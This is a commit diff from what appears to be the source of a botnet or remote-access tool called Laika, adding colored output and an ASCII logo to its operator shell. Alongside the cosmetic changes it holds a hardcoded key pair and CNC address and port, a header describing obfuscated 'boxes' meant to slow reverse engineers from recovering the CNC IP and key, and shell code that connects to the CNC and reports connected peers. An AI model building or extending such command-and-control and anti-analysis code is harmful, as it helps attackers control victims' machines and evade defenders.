Shell: improved looks, added colored output

lib/include/lbox.h

@@ -0,0 +1,40 @@
+#ifndef LAIKA_BOX_H
+#define LAIKA_BOX_H
+
+#include <inttypes.h>
+
+#include "lvm.h"
+
+/* Laika Box: 
+        Laika Boxes are obfuscated storage mediums where data is only in memory for a very short amount of time.
+    Of course, this can be bypassed with a simple debugger and setting a breakpoint right after the data is 'unlocked',
+    but the game of obfuscation isn't to prevent the data from being seen, it's to slow the reverse engineer down.
+
+        2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to make it more painful
+    for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable.
+    Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string
+    dumping.
+*/
+
+enum {
+    BOX_IP,
+    BOX_PUBKEY,
+    BOX_MAX
+};
+
+struct sLaikaB_box {
+    uint8_t *data;
+    uint8_t *unlockedData;
+    sLaikaV_vm vm;
+};
+
+inline void laikaB_unlock() {
+
+}
+
+/* safely free's allocated buffer using libsodium's api for clearing sensitive data from memory */
+inline void laikaB_lock() {
+
+}
+
+#endif

lib/include/lconfig.h

@@ -8,7 +8,7 @@
 /* keys */
 #define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27"
 #define LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc"
-#define LAIKA_CNC_IP "127.0.0.1"
+#define LAIKA_CNC_IP "10.0.2.2"
 #define LAIKA_CNC_PORT "13337"
 
 #endif

lib/include/lvm.h

@@ -15,25 +15,25 @@
 #define LAIKA_VM_STACKSIZE 64
 #define LAIKA_VM_CONSTSIZE 32
 
-struct sLaika_vm_val {
+struct sLaikaV_vm_val {
     union {
         uint8_t i;
         void *ptr;
     };
 };
 
-struct sLaika_vm {
-    struct sLaika_vm_val stack[LAIKA_VM_STACKSIZE];
-    struct sLaika_vm_val constList[LAIKA_VM_CONSTSIZE];
+struct sLaikaV_vm {
+    struct sLaikaV_vm_val stack[LAIKA_VM_STACKSIZE];
+    struct sLaikaV_vm_val constList[LAIKA_VM_CONSTSIZE];
     uint8_t code[LAIKA_VM_CODESIZE];
     int pc;
 };
 
-#define LAIKA_MAKE_VM(consts, code) (struct sLaika_vm)({.constList = consts, .code = code, .pc = 0})
+#define LAIKA_MAKE_VM(consts, code) (struct sLaikaV_vm)({.constList = consts, .code = code, .pc = 0})
 
 /* constants */
-#define LAIKA_MAKE_VM_INT(i) (struct sLaika_vm_val)({.i = i})
-#define LAIKA_MAKE_VM_PTR(ptr) (struct sLaika_vm_val)({.ptr = ptr})
+#define LAIKA_MAKE_VM_INT(i) (struct sLaikaV_vm_val)({.i = i})
+#define LAIKA_MAKE_VM_PTR(ptr) (struct sLaikaV_vm_val)({.ptr = ptr})
 /* instructions */
 #define LAIKA_MAKE_VM_IA(opcode, a) opcode, a
 #define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b
@@ -58,7 +58,7 @@ enum {
     OP_TESTJMP, /* if stk_indx[uint8_t] != 0, pc += [uint8_t] */
 };
 
-inline void laikaV_execute(struct sLaika_vm *vm) {
+inline void laikaV_execute(struct sLaikaV_vm *vm) {
 
 #define READBYTE (vm->code[vm->pc++])
 #define BINOP(x) { \

shell/include/sterm.h

@@ -12,8 +12,34 @@
 
 #include "sclient.h"
 
+typedef enum {
+    TERM_BLACK,
+    TERM_RED,
+    TERM_GREEN,
+    TERM_YELLOW,
+    TERM_BLUE,
+    TERM_MAGENTA,
+    TERM_CYAN,
+    TERM_WHITE,
+    TERM_BRIGHT_BLACK,
+    TERM_BRIGHT_RED,
+    TERM_BRIGHT_GREEN,
+    TERM_BRIGHT_YELLOW,
+    TERM_BRIGHT_BLUE,
+    TERM_BRIGHT_MAGENTA,
+    TERM_BRIGHT_CYAN,
+    TERM_BRIGHT_WHITE
+} TERM_COLOR;
+
+#define PRINTINFO(...) shellT_printf("\r%s[~]%s ", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE)); \
+    shellT_printf(__VA_ARGS__);
+
+#define PRINTSUCC(...) shellT_printf("\r%s[~]%s ", shellT_getForeColor(TERM_BRIGHT_GREEN), shellT_getForeColor(TERM_BRIGHT_WHITE)); \
+    shellT_printf(__VA_ARGS__);
+
 void shellT_conioTerm(void);
 void shellT_resetTerm(void);
+const char *shellT_getForeColor(TERM_COLOR);
 void shellT_printf(const char *format, ...);
 
 /* waits for input for timeout (in ms). returns true if input is ready to be read, false if no events */

shell/src/main.c

@@ -3,10 +3,18 @@
 #include "sclient.h"
 #include "sterm.h"
 
+#define STRING(x) #x
+#define MACROLITSTR(x) STRING(x)
+
+const char *LOGO = "\n██╗      █████╗ ██╗██╗  ██╗ █████╗\n██║     ██╔══██╗██║██║ ██╔╝██╔══██╗\n██║     ███████║██║█████╔╝ ███████║\n██║     ██╔══██║██║██╔═██╗ ██╔══██║\n███████╗██║  ██║██║██║  ██╗██║  ██║\n╚══════╝╚═╝  ╚═╝╚═╝╚═╝  ╚═╝╚═╝  ╚═╝";
+
 int main(int argv, char *argc[]) {
     tShell_client client;
     bool printPrompt = false;
 
+    shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE));
+    shellT_printf("\t\t%s\n\n", " v"MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR));
+
     shellC_init(&client);
     shellC_connectToCNC(&client, "127.0.0.1", "13337");
 

shell/src/sclient.c

@@ -31,6 +31,8 @@ uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
 void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
     uint8_t endianness = laikaS_readByte(&peer->sock);
     peer->sock.flipEndian = endianness != laikaS_isBigEndian();
+
+    PRINTSUCC("Handshake accepted!\n");
 }
 
 void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
@@ -185,6 +187,8 @@ void shellC_cleanup(tShell_client *client) {
 void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
     struct sLaika_socket *sock = &client->peer->sock;
 
+    PRINTINFO("Connecting to CNC...\n");
+
     /* create encryption keys */
     if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0)
         LAIKA_ERROR("failed to gen session key!\n");
@@ -291,9 +295,9 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
 
     /* let user know */
     if (!shellC_isShellOpen(client)) {
-        shellT_printf("\nNew peer connected to CNC:\n");
-        shellP_printInfo(newPeer);
+        PRINTSUCC("Peer %04d connected\n", id)
     }
+
     return id;
 }
 
@@ -304,9 +308,9 @@ void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) {
     /* remove peer from hashmap */
     hashmap_delete(client->peers, &(tShell_hashMapElem){.pub = oldPeer->pub, .peer = oldPeer});
 
+    /* tell user */
     if (!shellC_isShellOpen(client)) {
-        shellT_printf("\nPeer disconnected from CNC:\n");
-        shellP_printInfo(oldPeer);
+        PRINTINFO("Peer %04d disconnected\n", id)
     }
 
     /* finally, free peer */

shell/src/sterm.c

@@ -35,6 +35,27 @@ void shellT_resetTerm(void) {
     tcsetattr(STDIN_FILENO, TCSANOW, &orig_termios);
 }
 
+const char *shellT_getForeColor(TERM_COLOR col) {
+    switch (col) {
+        case TERM_BLACK: return "\033[30m"; break;
+        case TERM_RED: return "\033[31m"; break;
+        case TERM_GREEN: return "\033[32m"; break;
+        case TERM_YELLOW: return "\033[33m"; break;
+        case TERM_BLUE: return "\033[34m"; break;
+        case TERM_MAGENTA: return "\033[35m"; break;
+        case TERM_CYAN: return "\033[36m"; break;
+        case TERM_WHITE: return "\033[37m"; break;
+        case TERM_BRIGHT_BLACK: return "\033[90m"; break;
+        case TERM_BRIGHT_RED: return "\033[91m"; break;
+        case TERM_BRIGHT_GREEN: return "\033[92m"; break;
+        case TERM_BRIGHT_YELLOW: return "\033[93m"; break;
+        case TERM_BRIGHT_BLUE: return "\033[94m"; break;
+        case TERM_BRIGHT_MAGENTA: return "\033[95m"; break;
+        case TERM_BRIGHT_CYAN: return "\033[96m"; break;
+        case TERM_BRIGHT_WHITE: default: return "\033[97m"; break;
+    }
+}
+
 void shellT_printf(const char *format, ...) {
     va_list args;